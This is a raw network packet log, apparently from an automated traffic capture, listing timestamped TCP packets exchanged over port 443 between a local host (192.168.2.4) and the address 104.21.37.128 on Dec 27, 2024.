Dec 27, 2024 20:18:00.579066038 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:00.579169035 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:18:00.586456060 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:00.586472034 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:00.586550951 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:18:00.586559057 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:00.586596966 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:18:00.593573093 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:00.593592882 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:00.593767881 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:18:00.593775034 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:00.593812943 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:18:00.600743055 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:00.600759983 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:00.600831985 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:18:00.600842953 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:00.603199005 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:18:00.608082056 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:00.608098984 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:00.608156919 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:18:00.608161926 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:00.612165928 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:18:00.614509106 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:00.614522934 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:00.614604950 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:18:00.614609003 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:00.615171909 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:18:00.621718884 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:00.621735096 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:00.621798038 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:18:00.621804953 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:00.624174118 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:18:00.783855915 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:00.783871889 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:00.783999920 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:18:00.784008980 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:00.784111023 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:18:00.790577888 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:00.790591955 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:00.790661097 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:18:00.790666103 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:00.794922113 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:18:00.796958923 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:00.796972036 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:00.797034025 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:18:00.797039032 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:00.799175024 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:18:00.804018974 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:00.804034948 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:00.804099083 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:18:00.804105997 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:00.808167934 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:18:00.811269045 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:00.811300039 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:00.811347008 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:18:00.811352968 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:00.811374903 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:18:00.811403990 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:18:00.818656921 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:00.818672895 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:00.818715096 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:18:00.818722963 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:00.818734884 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:18:00.818833113 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:18:00.825062990 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:00.825078011 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:00.825124025 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:18:00.825130939 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:00.825197935 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:18:00.830295086 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:00.830332994 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:00.830380917 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:18:00.830388069 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:00.830446959 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:18:00.836641073 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:00.836654902 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:00.836721897 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:18:00.836728096 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:00.838181973 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:18:00.998631001 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:00.998650074 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:00.998719931 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:18:00.998734951 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:00.999178886 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:18:01.005014896 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:01.005028963 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:01.005104065 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:18:01.005110979 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:01.008184910 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:18:01.012424946 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:01.012451887 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:01.012502909 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:18:01.012514114 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:01.012541056 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:18:01.012558937 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:18:01.019659042 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:01.019678116 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:01.019752979 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:18:01.019768953 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:01.020164967 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:18:01.026207924 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:01.026223898 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:01.026293039 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:18:01.026304007 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:01.032171011 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:18:01.033435106 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:01.033448935 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:01.033515930 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:18:01.033523083 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:01.035162926 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:18:01.040761948 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:01.040776014 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:01.040836096 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:18:01.040843964 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:01.044157982 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:18:01.048069954 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:01.048084021 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:01.048170090 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:18:01.048175097 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:01.050195932 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:18:01.208626986 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:01.208645105 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:01.208707094 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:18:01.208714008 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:01.208751917 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:18:01.215974092 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:01.215990067 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:01.216049910 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:18:01.216057062 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:01.216147900 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:18:01.224483013 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:01.224499941 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:01.224572897 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:18:01.224582911 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:01.228180885 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:18:01.231129885 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:01.231148005 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:01.231230021 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:18:01.231240988 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:01.234175920 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:18:01.236741066 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:01.236751080 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:01.236876965 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:18:01.236884117 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:01.236928940 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:18:01.244251013 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:01.244266987 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:01.244371891 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:18:01.244379997 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:01.244448900 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:18:01.251358032 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:01.251374960 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:01.251442909 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:18:01.251455069 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:01.251513958 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:18:01.258872032 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:01.258888960 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:01.258958101 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:18:01.258964062 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:01.259025097 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:18:01.793426037 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:01.793441057 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:01.793478966 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:01.793544054 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:18:01.793574095 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:01.793615103 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:18:01.793627977 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:18:01.793703079 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:01.793761015 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:18:01.793766975 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:01.794749022 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:01.794764996 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:01.794810057 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:18:01.794815063 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:01.795557022 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:01.795569897 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:01.795627117 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:18:01.795634985 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:01.796400070 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:01.796412945 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:01.796487093 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:18:01.796492100 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:01.796638966 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:01.796652079 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:01.796685934 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:18:01.796691895 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:01.796711922 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:18:01.797550917 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:01.797564030 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:01.797606945 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:18:01.797614098 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:01.797631025 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:18:01.798587084 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:01.798599005 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:01.798634052 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:18:01.798640013 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:01.798660040 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:18:01.799432039 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:01.799444914 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:01.799479961 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:18:01.799484968 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:01.799508095 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:18:01.802727938 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:01.802741051 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:01.802794933 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:18:01.802803040 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:01.809900045 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:01.809912920 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:01.809977055 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:18:01.809983015 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:01.816369057 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:01.816385031 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:01.816432953 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:18:01.816438913 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:01.816479921 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:18:01.823724031 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:01.823738098 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:01.823795080 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:18:01.823801041 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:01.830559015 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:01.830575943 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:01.830614090 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:18:01.830620050 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:01.830651999 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:18:01.834949970 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:18:01.837934017 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:01.837946892 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:01.838015079 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:18:01.838021994 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:01.845175982 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:01.845194101 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:01.845238924 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:18:01.845248938 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:01.845263004 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:18:01.857469082 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:01.857496023 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:01.857528925 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:18:01.857536077 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:01.857559919 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:18:01.864725113 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:01.864748955 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:01.864790916 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:18:01.864803076 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:01.864814043 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:18:01.917700052 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:01.917715073 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:01.917802095 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:18:01.917817116 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:01.925380945 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:01.925400019 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:01.925465107 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:18:01.925476074 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:01.932384968 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:01.932400942 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:01.932478905 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:18:01.932495117 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:01.938811064 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:01.938832045 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:01.938909054 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:18:01.938922882 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:01.946118116 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:01.946131945 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:01.946228027 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:18:01.946237087 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:01.953067064 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:01.953085899 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:01.953135967 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:18:01.953145027 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:01.953188896 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:18:02.093694925 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:02.093713999 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:02.093811989 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:18:02.093830109 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:02.093871117 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:18:02.097594976 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:02.097609043 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:02.097671032 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:18:02.097676992 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:02.097712040 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:18:02.102269888 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:02.102283001 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:02.102351904 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:18:02.102361917 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:02.102401018 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:18:02.106190920 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:02.106204033 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:02.106285095 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:18:02.106290102 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:02.106333971 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:18:02.154922962 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:02.154938936 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:02.155025959 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:18:02.155038118 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:02.155075073 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:18:02.159620047 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:02.159634113 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:02.159692049 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:18:02.159698009 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:02.159734964 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:18:02.163393021 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:02.163419008 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:02.163460016 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:18:02.163465977 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:02.163497925 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:18:02.163516998 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:18:02.168132067 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:02.168147087 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:02.168215990 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:18:02.168220997 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:02.168256998 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:18:02.189404011 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:18:02.313707113 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:02.313728094 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:02.313791990 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:18:02.313807011 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:02.313854933 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:18:02.317739010 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:02.317754030 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:02.317809105 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:18:02.317815065 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:02.317872047 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:18:02.321559906 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:02.321574926 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:02.321646929 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:18:02.321646929 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:18:02.321652889 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:02.321688890 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:18:02.326251030 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:02.326268911 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:02.326318979 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:18:02.326324940 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:02.326355934 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:18:02.366605043 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:02.366620064 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:02.366681099 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:18:02.366692066 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:02.366734028 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:18:02.370362043 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:02.370388031 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:02.370415926 CET	49746	443	192.168.2.4	104.21.37.128
